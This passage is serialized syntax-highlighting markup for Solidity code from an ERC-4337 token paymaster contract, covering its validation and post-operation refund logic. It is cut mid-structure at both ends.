userOp",{"type":24,"tag":930,"props":1028,"children":1029},{"style":959},[1030],{"type":30,"value":962},{"type":24,"tag":930,"props":1032,"children":1033},{"style":943},[1034],{"type":30,"value":1035},"bytes32",{"type":24,"tag":930,"props":1037,"children":1038},{"style":959},[1039],{"type":30,"value":962},{"type":24,"tag":930,"props":1041,"children":1042},{"style":943},[1043],{"type":30,"value":1044},"uint256",{"type":24,"tag":930,"props":1046,"children":1047},{"style":1023},[1048],{"type":30,"value":1049}," requiredPreFund",{"type":24,"tag":930,"props":1051,"children":1052},{"style":959},[1053],{"type":30,"value":1054},")\n",{"type":24,"tag":930,"props":1056,"children":1058},{"class":932,"line":1057},4,[1059],{"type":24,"tag":930,"props":1060,"children":1061},{"style":937},[1062],{"type":30,"value":1063},"        internal\n",{"type":24,"tag":930,"props":1065,"children":1067},{"class":932,"line":1066},5,[1068],{"type":24,"tag":930,"props":1069,"children":1070},{"style":937},[1071],{"type":30,"value":1072},"        override\n",{"type":24,"tag":930,"props":1074,"children":1076},{"class":932,"line":1075},6,[1077,1083,1088,1093,1098,1103,1107,1111,1116],{"type":24,"tag":930,"props":1078,"children":1080},{"style":1079},"--shiki-default:#C586C0",[1081],{"type":30,"value":1082},"        returns",{"type":24,"tag":930,"props":1084,"children":1085},{"style":959},[1086],{"type":30,"value":1087}," (",{"type":24,"tag":930,"props":1089,"children":1090},{"style":943},[1091],{"type":30,"value":1092},"bytes",{"type":24,"tag":930,"props":1094,"children":1095},{"style":937},[1096],{"type":30,"value":1097}," memory",{"type":24,"tag":930,"props":1099,"children":1100},{"style":1023},[1101],{"type":30,"value":1102}," context",{"type":24,"tag":930,"props":1104,"children":1105},{"style":959},[1106],{"type":30,"value":962},{"type":24,"tag":930,"props":1108,"children":1109},{"style":943},[1110],{"type":30,"value":1044},{"type":24,"tag":930,"props":1112,"children":1113},{"style":1023},[1114],{"type":30,"value":1115}," validationResult",{"type":24,"tag":930,"props":1117,"children":1118},{"style":959},[1119],{"type":30,"value":1054},{"type":24,"tag":930,"props":1121,"children":1123},{"class":932,"line":1122},7,[1124],{"type":24,"tag":930,"props":1125,"children":1126},{"style":959},[1127],{"type":30,"value":1128},"    {\n",{"type":24,"tag":930,"props":1130,"children":1132},{"class":932,"line":1131},8,[1133,1138],{"type":24,"tag":930,"props":1134,"children":1135},{"style":1079},[1136],{"type":30,"value":1137},"        unchecked",{"type":24,"tag":930,"props":1139,"children":1140},{"style":959},[1141],{"type":30,"value":981},{"type":24,"tag":930,"props":1143,"children":1145},{"class":932,"line":1144},9,[1146,1151,1156,1162],{"type":24,"tag":930,"props":1147,"children":1148},{"style":943},[1149],{"type":30,"value":1150},"            uint256",{"type":24,"tag":930,"props":1152,"children":1153},{"style":959},[1154],{"type":30,"value":1155}," priceMarkup ",{"type":24,"tag":930,"props":1157,"children":1159},{"style":1158},"--shiki-default:#D4D4D4",[1160],{"type":30,"value":1161},"=",{"type":24,"tag":930,"props":1163,"children":1164},{"style":959},[1165],{"type":30,"value":1166}," tokenPaymasterConfig.priceMarkup;\n",{"type":24,"tag":930,"props":1168,"children":1170},{"class":932,"line":1169},10,[1171,1175,1180,1184],{"type":24,"tag":930,"props":1172,"children":1173},{"style":943},[1174],{"type":30,"value":1150},{"type":24,"tag":930,"props":1176,"children":1177},{"style":959},[1178],{"type":30,"value":1179}," baseFee ",{"type":24,"tag":930,"props":1181,"children":1182},{"style":1158},[1183],{"type":30,"value":1161},{"type":24,"tag":930,"props":1185,"children":1186},{"style":959},[1187],{"type":30,"value":1188}," tokenPaymasterConfig.baseFee;\n",{"type":24,"tag":930,"props":1190,"children":1192},{"class":932,"line":1191},11,[1193,1197,1202,1206,1211,1216],{"type":24,"tag":930,"props":1194,"children":1195},{"style":943},[1196],{"type":30,"value":1150},{"type":24,"tag":930,"props":1198,"children":1199},{"style":959},[1200],{"type":30,"value":1201}," dataLength ",{"type":24,"tag":930,"props":1203,"children":1204},{"style":1158},[1205],{"type":30,"value":1161},{"type":24,"tag":930,"props":1207,"children":1208},{"style":959},[1209],{"type":30,"value":1210}," userOp.paymasterAndData.length ",{"type":24,"tag":930,"props":1212,"children":1213},{"style":1158},[1214],{"type":30,"value":1215},"-",{"type":24,"tag":930,"props":1217,"children":1218},{"style":959},[1219],{"type":30,"value":1220}," PAYMASTER_DATA_OFFSET;\n",{"type":24,"tag":930,"props":1222,"children":1224},{"class":932,"line":1223},12,[1225,1230,1235,1240,1246,1251,1255,1259,1264,1268,1274],{"type":24,"tag":930,"props":1226,"children":1227},{"style":1079},[1228],{"type":30,"value":1229},"            require",{"type":24,"tag":930,"props":1231,"children":1232},{"style":959},[1233],{"type":30,"value":1234},"(dataLength ",{"type":24,"tag":930,"props":1236,"children":1237},{"style":1158},[1238],{"type":30,"value":1239},"==",{"type":24,"tag":930,"props":1241,"children":1243},{"style":1242},"--shiki-default:#B5CEA8",[1244],{"type":30,"value":1245}," 0",{"type":24,"tag":930,"props":1247,"children":1248},{"style":1158},[1249],{"type":30,"value":1250}," ||",{"type":24,"tag":930,"props":1252,"children":1253},{"style":959},[1254],{"type":30,"value":1201},{"type":24,"tag":930,"props":1256,"children":1257},{"style":1158},[1258],{"type":30,"value":1239},{"type":24,"tag":930,"props":1260,"children":1261},{"style":1242},[1262],{"type":30,"value":1263}," 32",{"type":24,"tag":930,"props":1265,"children":1266},{"style":959},[1267],{"type":30,"value":962},{"type":24,"tag":930,"props":1269,"children":1271},{"style":1270},"--shiki-default:#CE9178",[1272],{"type":30,"value":1273},"\"TPM: invalid data length\"",{"type":24,"tag":930,"props":1275,"children":1276},{"style":959},[1277],{"type":30,"value":1278},");\n",{"type":24,"tag":930,"props":1280,"children":1282},{"class":932,"line":1281},13,[1283,1287,1292,1296,1301,1306],{"type":24,"tag":930,"props":1284,"children":1285},{"style":943},[1286],{"type":30,"value":1150},{"type":24,"tag":930,"props":1288,"children":1289},{"style":959},[1290],{"type":30,"value":1291}," maxFeePerGas ",{"type":24,"tag":930,"props":1293,"children":1294},{"style":1158},[1295],{"type":30,"value":1161},{"type":24,"tag":930,"props":1297,"children":1298},{"style":959},[1299],{"type":30,"value":1300}," userOp.",{"type":24,"tag":930,"props":1302,"children":1303},{"style":1002},[1304],{"type":30,"value":1305},"unpackMaxFeePerGas",{"type":24,"tag":930,"props":1307,"children":1308},{"style":959},[1309],{"type":30,"value":1310},"();\n",{"type":24,"tag":930,"props":1312,"children":1314},{"class":932,"line":1313},14,[1315,1319,1324,1328],{"type":24,"tag":930,"props":1316,"children":1317},{"style":943},[1318],{"type":30,"value":1150},{"type":24,"tag":930,"props":1320,"children":1321},{"style":959},[1322],{"type":30,"value":1323}," refundPostopCost ",{"type":24,"tag":930,"props":1325,"children":1326},{"style":1158},[1327],{"type":30,"value":1161},{"type":24,"tag":930,"props":1329,"children":1330},{"style":959},[1331],{"type":30,"value":1332}," tokenPaymasterConfig.refundPostopCost;\n",{"type":24,"tag":930,"props":1334,"children":1336},{"class":932,"line":1335},15,[1337,1341,1346,1351,1355,1360,1365,1370],{"type":24,"tag":930,"props":1338,"children":1339},{"style":1079},[1340],{"type":30,"value":1229},{"type":24,"tag":930,"props":1342,"children":1343},{"style":959},[1344],{"type":30,"value":1345},"(refundPostopCost ",{"type":24,"tag":930,"props":1347,"children":1348},{"style":1158},[1349],{"type":30,"value":1350},"\u003C",{"type":24,"tag":930,"props":1352,"children":1353},{"style":959},[1354],{"type":30,"value":1300},{"type":24,"tag":930,"props":1356,"children":1357},{"style":1002},[1358],{"type":30,"value":1359},"unpackPostOpGasLimit",{"type":24,"tag":930,"props":1361,"children":1362},{"style":959},[1363],{"type":30,"value":1364},"(), ",{"type":24,"tag":930,"props":1366,"children":1367},{"style":1270},[1368],{"type":30,"value":1369},"\"TPM: postOpGasLimit too low\"",{"type":24,"tag":930,"props":1371,"children":1372},{"style":959},[1373],{"type":30,"value":1278},{"type":24,"tag":930,"props":1375,"children":1377},{"class":932,"line":1376},16,[1378,1382,1387,1391,1396,1401,1406,1411],{"type":24,"tag":930,"props":1379,"children":1380},{"style":943},[1381],{"type":30,"value":1150},{"type":24,"tag":930,"props":1383,"children":1384},{"style":959},[1385],{"type":30,"value":1386}," preChargeNative ",{"type":24,"tag":930,"props":1388,"children":1389},{"style":1158},[1390],{"type":30,"value":1161},{"type":24,"tag":930,"props":1392,"children":1393},{"style":959},[1394],{"type":30,"value":1395}," requiredPreFund ",{"type":24,"tag":930,"props":1397,"children":1398},{"style":1158},[1399],{"type":30,"value":1400},"+",{"type":24,"tag":930,"props":1402,"children":1403},{"style":959},[1404],{"type":30,"value":1405}," (refundPostopCost ",{"type":24,"tag":930,"props":1407,"children":1408},{"style":1158},[1409],{"type":30,"value":1410},"*",{"type":24,"tag":930,"props":1412,"children":1413},{"style":959},[1414],{"type":30,"value":1415}," maxFeePerGas);\n",{"type":24,"tag":930,"props":1417,"children":1419},{"class":932,"line":1418},17,[1420,1426,1431],{"type":24,"tag":930,"props":1421,"children":1423},{"style":1422},"--shiki-default:#6A9955",[1424],{"type":30,"value":1425},"            // ",{"type":24,"tag":930,"props":1427,"children":1428},{"style":937},[1429],{"type":30,"value":1430},"note",{"type":24,"tag":930,"props":1432,"children":1433},{"style":1422},[1434],{"type":30,"value":1435},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":24,"tag":930,"props":1437,"children":1439},{"class":932,"line":1438},18,[1440,1444,1449,1453,1458,1462,1467,1472],{"type":24,"tag":930,"props":1441,"children":1442},{"style":943},[1443],{"type":30,"value":1150},{"type":24,"tag":930,"props":1445,"children":1446},{"style":959},[1447],{"type":30,"value":1448}," cachedPriceWithMarkup ",{"type":24,"tag":930,"props":1450,"children":1451},{"style":1158},[1452],{"type":30,"value":1161},{"type":24,"tag":930,"props":1454,"children":1455},{"style":959},[1456],{"type":30,"value":1457}," cachedPrice ",{"type":24,"tag":930,"props":1459,"children":1460},{"style":1158},[1461],{"type":30,"value":1410},{"type":24,"tag":930,"props":1463,"children":1464},{"style":959},[1465],{"type":30,"value":1466}," DENOM ",{"type":24,"tag":930,"props":1468,"children":1469},{"style":1158},[1470],{"type":30,"value":1471},"/",{"type":24,"tag":930,"props":1473,"children":1474},{"style":959},[1475],{"type":30,"value":1476}," priceMarkup;\n",{"type":24,"tag":930,"props":1478,"children":1480},{"class":932,"line":1479},19,[1481,1486,1491,1495,1499],{"type":24,"tag":930,"props":1482,"children":1483},{"style":1079},[1484],{"type":30,"value":1485},"            if",{"type":24,"tag":930,"props":1487,"children":1488},{"style":959},[1489],{"type":30,"value":1490}," (dataLength ",{"type":24,"tag":930,"props":1492,"children":1493},{"style":1158},[1494],{"type":30,"value":1239},{"type":24,"tag":930,"props":1496,"children":1497},{"style":1242},[1498],{"type":30,"value":1263},{"type":24,"tag":930,"props":1500,"children":1501},{"style":959},[1502],{"type":30,"value":1503},") {\n",{"type":24,"tag":930,"props":1505,"children":1507},{"class":932,"line":1506},20,[1508,1513,1518],{"type":24,"tag":930,"props":1509,"children":1510},{"style":943},[1511],{"type":30,"value":1512},"                uint256",{"type":24,"tag":930,"props":1514,"children":1515},{"style":959},[1516],{"type":30,"value":1517}," clientSuppliedPrice ",{"type":24,"tag":930,"props":1519,"children":1520},{"style":1158},[1521],{"type":30,"value":1522},"=\n",{"type":24,"tag":930,"props":1524,"children":1526},{"class":932,"line":1525},21,[1527,1532,1536,1540,1545,1549,1554,1558,1562],{"type":24,"tag":930,"props":1528,"children":1529},{"style":943},[1530],{"type":30,"value":1531},"                    uint256",{"type":24,"tag":930,"props":1533,"children":1534},{"style":959},[1535],{"type":30,"value":1010},{"type":24,"tag":930,"props":1537,"children":1538},{"style":943},[1539],{"type":30,"value":1035},{"type":24,"tag":930,"props":1541,"children":1542},{"style":959},[1543],{"type":30,"value":1544},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":24,"tag":930,"props":1546,"children":1547},{"style":1158},[1548],{"type":30,"value":476},{"type":24,"tag":930,"props":1550,"children":1551},{"style":959},[1552],{"type":30,"value":1553},"PAYMASTER_DATA_OFFSET ",{"type":24,"tag":930,"props":1555,"children":1556},{"style":1158},[1557],{"type":30,"value":1400},{"type":24,"tag":930,"props":1559,"children":1560},{"style":1242},[1561],{"type":30,"value":1263},{"type":24,"tag":930,"props":1563,"children":1564},{"style":959},[1565],{"type":30,"value":1566},"]));\n",{"type":24,"tag":930,"props":1568,"children":1570},{"class":932,"line":1569},22,[1571,1576,1581,1585],{"type":24,"tag":930,"props":1572,"children":1573},{"style":1079},[1574],{"type":30,"value":1575},"                if",{"type":24,"tag":930,"props":1577,"children":1578},{"style":959},[1579],{"type":30,"value":1580}," (clientSuppliedPrice ",{"type":24,"tag":930,"props":1582,"children":1583},{"style":1158},[1584],{"type":30,"value":1350},{"type":24,"tag":930,"props":1586,"children":1587},{"style":959},[1588],{"type":30,"value":1589}," cachedPriceWithMarkup) {\n",{"type":24,"tag":930,"props":1591,"children":1593},{"class":932,"line":1592},23,[1594,1599,1603],{"type":24,"tag":930,"props":1595,"children":1596},{"style":1422},[1597],{"type":30,"value":1598},"                    // ",{"type":24,"tag":930,"props":1600,"children":1601},{"style":937},[1602],{"type":30,"value":1430},{"type":24,"tag":930,"props":1604,"children":1605},{"style":1422},[1606],{"type":30,"value":1607},": smaller number means 'more native asset per token'\n",{"type":24,"tag":930,"props":1609,"children":1611},{"class":932,"line":1610},24,[1612,1617,1621],{"type":24,"tag":930,"props":1613,"children":1614},{"style":959},[1615],{"type":30,"value":1616},"                    cachedPriceWithMarkup ",{"type":24,"tag":930,"props":1618,"children":1619},{"style":1158},[1620],{"type":30,"value":1161},{"type":24,"tag":930,"props":1622,"children":1623},{"style":959},[1624],{"type":30,"value":1625}," clientSuppliedPrice;\n",{"type":24,"tag":930,"props":1627,"children":1629},{"class":932,"line":1628},25,[1630],{"type":24,"tag":930,"props":1631,"children":1632},{"style":959},[1633],{"type":30,"value":1634},"                }\n",{"type":24,"tag":930,"props":1636,"children":1638},{"class":932,"line":1637},26,[1639],{"type":24,"tag":930,"props":1640,"children":1641},{"style":959},[1642],{"type":30,"value":1643},"            }\n",{"type":24,"tag":930,"props":1645,"children":1647},{"class":932,"line":1646},27,[1648,1652,1657,1661,1666],{"type":24,"tag":930,"props":1649,"children":1650},{"style":943},[1651],{"type":30,"value":1150},{"type":24,"tag":930,"props":1653,"children":1654},{"style":959},[1655],{"type":30,"value":1656}," tokenAmount ",{"type":24,"tag":930,"props":1658,"children":1659},{"style":1158},[1660],{"type":30,"value":1161},{"type":24,"tag":930,"props":1662,"children":1663},{"style":1002},[1664],{"type":30,"value":1665}," weiToToken",{"type":24,"tag":930,"props":1667,"children":1668},{"style":959},[1669],{"type":30,"value":1670},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":930,"props":1672,"children":1674},{"class":932,"line":1673},28,[1675,1680,1685],{"type":24,"tag":930,"props":1676,"children":1677},{"style":959},[1678],{"type":30,"value":1679},"            tokenAmount ",{"type":24,"tag":930,"props":1681,"children":1682},{"style":1158},[1683],{"type":30,"value":1684},"+=",{"type":24,"tag":930,"props":1686,"children":1687},{"style":959},[1688],{"type":30,"value":1689}," baseFee;\n",{"type":24,"tag":930,"props":1691,"children":1693},{"class":932,"line":1692},29,[1694,1699,1704,1709,1714,1718,1723],{"type":24,"tag":930,"props":1695,"children":1696},{"style":959},[1697],{"type":30,"value":1698},"            SafeERC20.",{"type":24,"tag":930,"props":1700,"children":1701},{"style":1002},[1702],{"type":30,"value":1703},"safeTransferFrom",{"type":24,"tag":930,"props":1705,"children":1706},{"style":959},[1707],{"type":30,"value":1708},"(token, userOp.sender, ",{"type":24,"tag":930,"props":1710,"children":1711},{"style":943},[1712],{"type":30,"value":1713},"address",{"type":24,"tag":930,"props":1715,"children":1716},{"style":959},[1717],{"type":30,"value":1010},{"type":24,"tag":930,"props":1719,"children":1720},{"style":937},[1721],{"type":30,"value":1722},"this",{"type":24,"tag":930,"props":1724,"children":1725},{"style":959},[1726],{"type":30,"value":1727},"), tokenAmount);\n",{"type":24,"tag":930,"props":1729,"children":1731},{"class":932,"line":1730},30,[1732,1737,1741,1746,1750,1755],{"type":24,"tag":930,"props":1733,"children":1734},{"style":959},[1735],{"type":30,"value":1736},"            context ",{"type":24,"tag":930,"props":1738,"children":1739},{"style":1158},[1740],{"type":30,"value":1161},{"type":24,"tag":930,"props":1742,"children":1743},{"style":937},[1744],{"type":30,"value":1745}," abi",{"type":24,"tag":930,"props":1747,"children":1748},{"style":959},[1749],{"type":30,"value":436},{"type":24,"tag":930,"props":1751,"children":1752},{"style":1002},[1753],{"type":30,"value":1754},"encode",{"type":24,"tag":930,"props":1756,"children":1757},{"style":959},[1758],{"type":30,"value":1759},"(tokenAmount, userOp.sender);\n",{"type":24,"tag":930,"props":1761,"children":1763},{"class":932,"line":1762},31,[1764,1769],{"type":24,"tag":930,"props":1765,"children":1766},{"style":959},[1767],{"type":30,"value":1768},"            validationResult ",{"type":24,"tag":930,"props":1770,"children":1771},{"style":1158},[1772],{"type":30,"value":1522},{"type":24,"tag":930,"props":1774,"children":1776},{"class":932,"line":1775},32,[1777,1782,1786,1791,1795,1800,1805,1809,1814,1819],{"type":24,"tag":930,"props":1778,"children":1779},{"style":1002},[1780],{"type":30,"value":1781},"                _packValidationData",{"type":24,"tag":930,"props":1783,"children":1784},{"style":959},[1785],{"type":30,"value":1010},{"type":24,"tag":930,"props":1787,"children":1788},{"style":937},[1789],{"type":30,"value":1790},"false",{"type":24,"tag":930,"props":1792,"children":1793},{"style":959},[1794],{"type":30,"value":962},{"type":24,"tag":930,"props":1796,"children":1797},{"style":943},[1798],{"type":30,"value":1799},"uint48",{"type":24,"tag":930,"props":1801,"children":1802},{"style":959},[1803],{"type":30,"value":1804},"(cachedPriceTimestamp ",{"type":24,"tag":930,"props":1806,"children":1807},{"style":1158},[1808],{"type":30,"value":1400},{"type":24,"tag":930,"props":1810,"children":1811},{"style":959},[1812],{"type":30,"value":1813}," tokenPaymasterConfig.priceMaxAge), ",{"type":24,"tag":930,"props":1815,"children":1816},{"style":1242},[1817],{"type":30,"value":1818},"0",{"type":24,"tag":930,"props":1820,"children":1821},{"style":959},[1822],{"type":30,"value":1278},{"type":24,"tag":930,"props":1824,"children":1826},{"class":932,"line":1825},33,[1827],{"type":24,"tag":930,"props":1828,"children":1829},{"style":959},[1830],{"type":30,"value":1831},"        }\n",{"type":24,"tag":930,"props":1833,"children":1835},{"class":932,"line":1834},34,[1836],{"type":24,"tag":930,"props":1837,"children":1838},{"style":959},[1839],{"type":30,"value":1840},"    }\n",{"type":24,"tag":930,"props":1842,"children":1844},{"class":932,"line":1843},35,[1845],{"type":24,"tag":930,"props":1846,"children":1847},{"style":959},[1848],{"type":30,"value":990},{"type":24,"tag":930,"props":1850,"children":1852},{"class":932,"line":1851},36,[1853,1857,1862,1866,1871,1875,1879,1883,1887,1891,1895,1900,1904,1908,1913],{"type":24,"tag":930,"props":1854,"children":1855},{"style":937},[1856],{"type":30,"value":999},{"type":24,"tag":930,"props":1858,"children":1859},{"style":1002},[1860],{"type":30,"value":1861}," _postOp",{"type":24,"tag":930,"props":1863,"children":1864},{"style":959},[1865],{"type":30,"value":1010},{"type":24,"tag":930,"props":1867,"children":1868},{"style":937},[1869],{"type":30,"value":1870},"PostOpMode",{"type":24,"tag":930,"props":1872,"children":1873},{"style":959},[1874],{"type":30,"value":962},{"type":24,"tag":930,"props":1876,"children":1877},{"style":943},[1878],{"type":30,"value":1092},{"type":24,"tag":930,"props":1880,"children":1881},{"style":937},[1882],{"type":30,"value":1020},{"type":24,"tag":930,"props":1884,"children":1885},{"style":1023},[1886],{"type":30,"value":1102},{"type":24,"tag":930,"props":1888,"children":1889},{"style":959},[1890],{"type":30,"value":962},{"type":24,"tag":930,"props":1892,"children":1893},{"style":943},[1894],{"type":30,"value":1044},{"type":24,"tag":930,"props":1896,"children":1897},{"style":1023},[1898],{"type":30,"value":1899}," actualGasCost",{"type":24,"tag":930,"props":1901,"children":1902},{"style":959},[1903],{"type":30,"value":962},{"type":24,"tag":930,"props":1905,"children":1906},{"style":943},[1907],{"type":30,"value":1044},{"type":24,"tag":930,"props":1909,"children":1910},{"style":1023},[1911],{"type":30,"value":1912}," actualUserOpFeePerGas",{"type":24,"tag":930,"props":1914,"children":1915},{"style":959},[1916],{"type":30,"value":1054},{"type":24,"tag":930,"props":1918,"children":1920},{"class":932,"line":1919},37,[1921],{"type":24,"tag":930,"props":1922,"children":1923},{"style":937},[1924],{"type":30,"value":1063},{"type":24,"tag":930,"props":1926,"children":1928},{"class":932,"line":1927},38,[1929],{"type":24,"tag":930,"props":1930,"children":1931},{"style":937},[1932],{"type":30,"value":1072},{"type":24,"tag":930,"props":1934,"children":1936},{"class":932,"line":1935},39,[1937],{"type":24,"tag":930,"props":1938,"children":1939},{"style":959},[1940],{"type":30,"value":1128},{"type":24,"tag":930,"props":1942,"children":1944},{"class":932,"line":1943},40,[1945,1949],{"type":24,"tag":930,"props":1946,"children":1947},{"style":1079},[1948],{"type":30,"value":1137},{"type":24,"tag":930,"props":1950,"children":1951},{"style":959},[1952],{"type":30,"value":981},{"type":24,"tag":930,"props":1954,"children":1956},{"class":932,"line":1955},41,[1957,1961,1965,1969],{"type":24,"tag":930,"props":1958,"children":1959},{"style":943},[1960],{"type":30,"value":1150},{"type":24,"tag":930,"props":1962,"children":1963},{"style":959},[1964],{"type":30,"value":1155},{"type":24,"tag":930,"props":1966,"children":1967},{"style":1158},[1968],{"type":30,"value":1161},{"type":24,"tag":930,"props":1970,"children":1971},{"style":959},[1972],{"type":30,"value":1166},{"type":24,"tag":930,"props":1974,"children":1976},{"class":932,"line":1975},42,[1977,1981,1985,1989],{"type":24,"tag":930,"props":1978,"children":1979},{"style":943},[1980],{"type":30,"value":1150},{"type":24,"tag":930,"props":1982,"children":1983},{"style":959},[1984],{"type":30,"value":1179},{"type":24,"tag":930,"props":1986,"children":1987},{"style":1158},[1988],{"type":30,"value":1161},{"type":24,"tag":930,"props":1990,"children":1991},{"style":959},[1992],{"type":30,"value":1188},{"type":24,"tag":930,"props":1994,"children":1996},{"class":932,"line":1995},43,[1997,2002,2006,2011,2015,2020,2024,2028,2032,2037,2042,2046,2050,2054],{"type":24,"tag":930,"props":1998,"children":1999},{"style":959},[2000],{"type":30,"value":2001},"            (",{"type":24,"tag":930,"props":2003,"children":2004},{"style":943},[2005],{"type":30,"value":1044},{"type":24,"tag":930,"props":2007,"children":2008},{"style":959},[2009],{"type":30,"value":2010}," preCharge, ",{"type":24,"tag":930,"props":2012,"children":2013},{"style":943},[2014],{"type":30,"value":1713},{"type":24,"tag":930,"props":2016,"children":2017},{"style":959},[2018],{"type":30,"value":2019}," userOpSender) ",{"type":24,"tag":930,"props":2021,"children":2022},{"style":1158},[2023],{"type":30,"value":1161},{"type":24,"tag":930,"props":2025,"children":2026},{"style":937},[2027],{"type":30,"value":1745},{"type":24,"tag":930,"props":2029,"children":2030},{"style":959},[2031],{"type":30,"value":436},{"type":24,"tag":930,"props":2033,"children":2034},{"style":1002},[2035],{"type":30,"value":2036},"decode",{"type":24,"tag":930,"props":2038,"children":2039},{"style":959},[2040],{"type":30,"value":2041},"(context, (",{"type":24,"tag":930,"props":2043,"children":2044},{"style":943},[2045],{"type":30,"value":1044},{"type":24,"tag":930,"props":2047,"children":2048},{"style":959},[2049],{"type":30,"value":962},{"type":24,"tag":930,"props":2051,"children":2052},{"style":943},[2053],{"type":30,"value":1713},{"type":24,"tag":930,"props":2055,"children":2056},{"style":959},[2057],{"type":30,"value":2058},"));\n",{"type":24,"tag":930,"props":2060,"children":2062},{"class":932,"line":2061},44,[2063,2068,2073,2078],{"type":24,"tag":930,"props":2064,"children":2065},{"style":959},[2066],{"type":30,"value":2067},"            preCharge ",{"type":24,"tag":930,"props":2069,"children":2070},{"style":1158},[2071],{"type":30,"value":2072},"-=",{"type":24,"tag":930,"props":2074,"children":2075},{"style":959},[2076],{"type":30,"value":2077}," baseFee; ",{"type":24,"tag":930,"props":2079,"children":2080},{"style":1422},[2081],{"type":30,"value":2082},"// don't refund the base fee\n",{"type":24,"tag":930,"props":2084,"children":2086},{"class":932,"line":2085},45,[2087,2091,2096,2100,2105,2109,2113],{"type":24,"tag":930,"props":2088,"children":2089},{"style":943},[2090],{"type":30,"value":1150},{"type":24,"tag":930,"props":2092,"children":2093},{"style":959},[2094],{"type":30,"value":2095}," _cachedPrice ",{"type":24,"tag":930,"props":2097,"children":2098},{"style":1158},[2099],{"type":30,"value":1161},{"type":24,"tag":930,"props":2101,"children":2102},{"style":1002},[2103],{"type":30,"value":2104}," updateCachedPrice",{"type":24,"tag":930,"props":2106,"children":2107},{"style":959},[2108],{"type":30,"value":1010},{"type":24,"tag":930,"props":2110,"children":2111},{"style":937},[2112],{"type":30,"value":1790},{"type":24,"tag":930,"props":2114,"children":2115},{"style":959},[2116],{"type":30,"value":1278},{"type":24,"tag":930,"props":2118,"children":2120},{"class":932,"line":2119},46,[2121,2125,2129],{"type":24,"tag":930,"props":2122,"children":2123},{"style":1422},[2124],{"type":30,"value":1425},{"type":24,"tag":930,"props":2126,"children":2127},{"style":937},[2128],{"type":30,"value":1430},{"type":24,"tag":930,"props":2130,"children":2131},{"style":1422},[2132],{"type":30,"value":1435},{"type":24,"tag":930,"props":2134,"children":2136},{"class":932,"line":2135},47,[2137,2141,2145,2149,2153,2157,2161,2165],{"type":24,"tag":930,"props":2138,"children":2139},{"style":943},[2140],{"type":30,"value":1150},{"type":24,"tag":930,"props":2142,"children":2143},{"style":959},[2144],{"type":30,"value":1448},{"type":24,"tag":930,"props":2146,"children":2147},{"style":1158},[2148],{"type":30,"value":1161},{"type":24,"tag":930,"props":2150,"children":2151},{"style":959},[2152],{"type":30,"value":2095},{"type":24,"tag":930,"props":2154,"children":2155},{"style":1158},[2156],{"type":30,"value":1410},{"type":24,"tag":930,"props":2158,"children":2159},{"style":959},[2160],{"type":30,"value":1466},{"type":24,"tag":930,"props":2162,"children":2163},{"style":1158},[2164],{"type":30,"value":1471},{"type":24,"tag":930,"props":2166,"children":2167},{"style":959},[2168],{"type":30,"value":1476},{"type":24,"tag":930,"props":2170,"children":2172},{"class":932,"line":2171},48,[2173],{"type":24,"tag":930,"props":2174,"children":2175},{"style":1422},[2176],{"type":30,"value":2177},"            // Refund tokens based on actual gas cost\n",{"type":24,"tag":930,"props":2179,"children":2181},{"class":932,"line":2180},49,[2182,2186,2191,2195,2200,2204,2209,2213],{"type":24,"tag":930,"props":2183,"children":2184},{"style":943},[2185],{"type":30,"value":1150},{"type":24,"tag":930,"props":2187,"children":2188},{"style":959},[2189],{"type":30,"value":2190}," actualChargeNative ",{"type":24,"tag":930,"props":2192,"children":2193},{"style":1158},[2194],{"type":30,"value":1161},{"type":24,"tag":930,"props":2196,"children":2197},{"style":959},[2198],{"type":30,"value":2199}," actualGasCost ",{"type":24,"tag":930,"props":2201,"children":2202},{"style":1158},[2203],{"type":30,"value":1400},{"type":24,"tag":930,"props":2205,"children":2206},{"style":959},[2207],{"type":30,"value":2208}," tokenPaymasterConfig.refundPostopCost ",{"type":24,"tag":930,"props":2210,"children":2211},{"style":1158},[2212],{"type":30,"value":1410},{"type":24,"tag":930,"props":2214,"children":2215},{"style":959},[2216],{"type":30,"value":2217}," actualUserOpFeePerGas;\n",{"type":24,"tag":930,"props":2219,"children":2221},{"class":932,"line":2220},50,[2222,2226,2231,2235,2239],{"type":24,"tag":930,"props":2223,"children":2224},{"style":943},[2225],{"type":30,"value":1150},{"type":24,"tag":930,"props":2227,"children":2228},{"style":959},[2229],{"type":30,"value":2230}," actualTokenNeeded ",{"type":24,"tag":930,"props":2232,"children":2233},{"style":1158},[2234],{"type":30,"value":1161},{"type":24,"tag":930,"props":2236,"children":2237},{"style":1002},[2238],{"type":30,"value":1665},{"type":24,"tag":930,"props":2240,"children":2241},{"style":959},[2242],{"type":30,"value":2243},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":930,"props":2245,"children":2247},{"class":932,"line":2246},51,[2248,2252,2257,2262],{"type":24,"tag":930,"props":2249,"children":2250},{"style":1079},[2251],{"type":30,"value":1485},{"type":24,"tag":930,"props":2253,"children":2254},{"style":959},[2255],{"type":30,"value":2256}," (preCharge ",{"type":24,"tag":930,"props":2258,"children":2259},{"style":1158},[2260],{"type":30,"value":2261},">",{"type":24,"tag":930,"props":2263,"children":2264},{"style":959},[2265],{"type":30,"value":2266}," actualTokenNeeded) {\n",{"type":24,"tag":930,"props":2268,"children":2270},{"class":932,"line":2269},52,[2271],{"type":24,"tag":930,"props":2272,"children":2273},{"style":1422},[2274],{"type":30,"value":2275},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":24,"tag":930,"props":2277,"children":2279},{"class":932,"line":2278},53,[2280,2285,2290,2295,2299],{"type":24,"tag":930,"props":2281,"children":2282},{"style":959},[2283],{"type":30,"value":2284},"                SafeERC20.",{"type":24,"tag":930,"props":2286,"children":2287},{"style":1002},[2288],{"type":30,"value":2289},"safeTransfer",{"type":24,"tag":930,"props":2291,"children":2292},{"style":959},[2293],{"type":30,"value":2294},"(token, userOpSender, preCharge ",{"type":24,"tag":930,"props":2296,"children":2297},{"style":1158},[2298],{"type":30,"value":1215},{"type":24,"tag":930,"props":2300,"children":2301},{"style":959},[2302],{"type":30,"value":2303}," actualTokenNeeded);\n",{"type":24,"tag":930,"props":2305,"children":2307},{"class":932,"line":2306},54,[2308,2313,2318,2323,2327,2331],{"type":24,"tag":930,"props":2309,"children":2310},{"style":959},[2311],{"type":30,"value":2312},"            } 